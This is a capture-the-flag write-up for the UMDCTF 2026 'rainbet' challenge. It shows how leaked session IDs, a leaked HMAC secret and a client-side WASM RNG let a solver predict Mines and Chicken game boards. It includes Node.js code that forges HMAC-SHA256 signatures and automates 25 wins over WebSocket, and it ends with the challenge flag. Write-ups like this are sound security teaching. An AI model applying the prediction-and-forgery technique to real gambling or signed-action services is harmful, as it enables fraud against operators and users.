UMDCTF 2026 - rainbet

rainbet - Web / WASM

A gambling game where the house doesn't actually have an edge — if you can see through the deck. Predictable RNG + leaked server secrets = 25 consecutive wins and a flag.

Challenge: rainbet.challs.umdctf.io — a betting site requiring 25 max wins in a row. Two game modes: Mines and Chicken.

Given files: rainbet.py (reference wrapper) and rainbet_gen.wasm (the leaked RNG backend).

1. Reconnaissance

The site greets you with a gambling UI. Create an account, get a session, and you can play Mines or Chicken. The goal is etched on the front page: win 25 rounds in a row at maximum payout.

The server exposes two critical API endpoints:

1
GET /api/sessioninfo

{: file='endpoint'}

Returns session_id (a hex string) and hmac_secret (also hex). Both are per-session and stable for the lifetime of the session.

The websocket endpoint sends a welcome message upon connection that includes the current round_idx.

1
GET /api/socket

{: file='endpoint'}

WebSocket handshake. The server's first message contains round_idx in the JSON payload.

Two delivered files point at the architecture:

  • rainbet.py — a thin Python wrapper showing how the server loads and calls the WASM module. It imports rainbet_gen.wasm, calls generate(session_id, round_idx) which returns the game state, and verifies HMAC-signed actions.

  • rainbet_gen.wasm — the actual game generation logic. It takes a session_id (16 bytes) and round_idx (u32), seeds an internal RNG with them, and deterministically produces the full game board.

2. The Bug

The core vulnerability is a complete failure of information hiding:

What should be secret Where it leaked
The RNG algorithm rainbet_gen.wasm was shipped to the browser
The RNG seed material session_id exposed at /api/sessioninfo
The HMAC signing key hmac_secret exposed at /api/sessioninfo
The current round index round_idx in the WebSocket hello

Because generate(session_id, round_idx) is a pure function with no side effects, anyone who calls the same function with the same arguments gets the exact same game. The server calls it after you connect to generate your current game; you can call it locally with the same session_id and round_idx to see the game too.

Once you know the game board, making the winning move is trivial. The only remaining hurdle is forging a valid HMAC signature so the server accepts your action — but you already have hmac_secret.

3. Solving Approach

3.1 Local WASM invocation

We use Node.js to instantiate the leaked WASM module and call generate directly:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const fs = require("fs");
const crypto = require("crypto");

async function initWasm() {
const wasmBytes = fs.readFileSync("rainbet_gen.wasm");
const module = await WebAssembly.instantiate(wasmBytes, {
env: {
// minimal stubs — the WASM doesn't need actual I/O
emscripten_memcpy: () => {},
memory: new WebAssembly.Memory({ initial: 256 }),
},
});
return module.instance;
}

The exported generate function takes (sessionIdPtr, roundIdx) where sessionIdPtr is a pointer into WASM linear memory containing the 16-byte session ID and roundIdx is a 32-bit unsigned integer.

After calling generate, the WASM writes the game state into memory at a predictable offset (discoverable by reading the Python wrapper or tracing the WASM exports). We read it back and parse the game.

3.2 Game parsing

Two game types exist:

Mines — the board is a grid with hidden mines. generate returns a list of mine positions. We reveal every tile that isn't a mine. The HMAC payload format is:

1
mines:<streak>:<size>:<num_mines>:<tiles>

where <tiles> is a comma-separated list of tile indices.

Chicken — the player crosses a bridge step by step; some steps are safe, others collapse. generate returns the safe step count. We cash out at that exact safe step (maximum safe position). Payload format:

1
chicken:<streak>:<steps>:<crossed>

3.3 HMAC forgery

The hmac_secret is a hex string. The server uses HMAC-SHA256 to sign action payloads:

1
signature = HMAC-SHA256(hmac_secret, payload_string)

We construct the payload string, compute the signature, and include it in our WebSocket action message:

1
2
3
function sign(payload) {
return crypto.createHmac("sha256", hmacSecret).update(payload).digest("hex");
}

3.4 Automation script

The full solver:

  1. Fetch session_id and hmac_secret from /api/sessioninfo via an authenticated HTTP request.
  2. Connect to the WebSocket with the session cookie.
  3. For each round:
    • Read round_idx from the server's hello.
    • Call the local WASM generate(session_id, round_idx).
    • Parse the predicted game.
    • Construct the winning action payload.
    • Sign it with HMAC-SHA256.
    • Send the action over the WebSocket.
  4. Repeat 25 times. The 25th win triggers the server to send the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
async function solve() {
const wasm = await initWasm();
const session = await fetchSessionInfo();

const ws = new WebSocket("wss://rainbet.challs.umdctf.io/api/socket");
ws.onmessage = async (msg) => {
const data = JSON.parse(msg.data);
const roundIdx = data.round_idx;

// Generate the game locally
const game = predictGame(wasm, session.id, roundIdx);

// Build the winning action
const action = buildWinningAction(game);

// Sign and send
const signature = sign(action.payload);
ws.send(
JSON.stringify({
type: "action",
payload: action.payload,
signature: signature,
}),
);
};
}

4. Flag

After 25 consecutive correct predictions:

1
UMDCTF{one_might_argue_that_gambling_is_the_best_vice_but_they_would_be_wrong}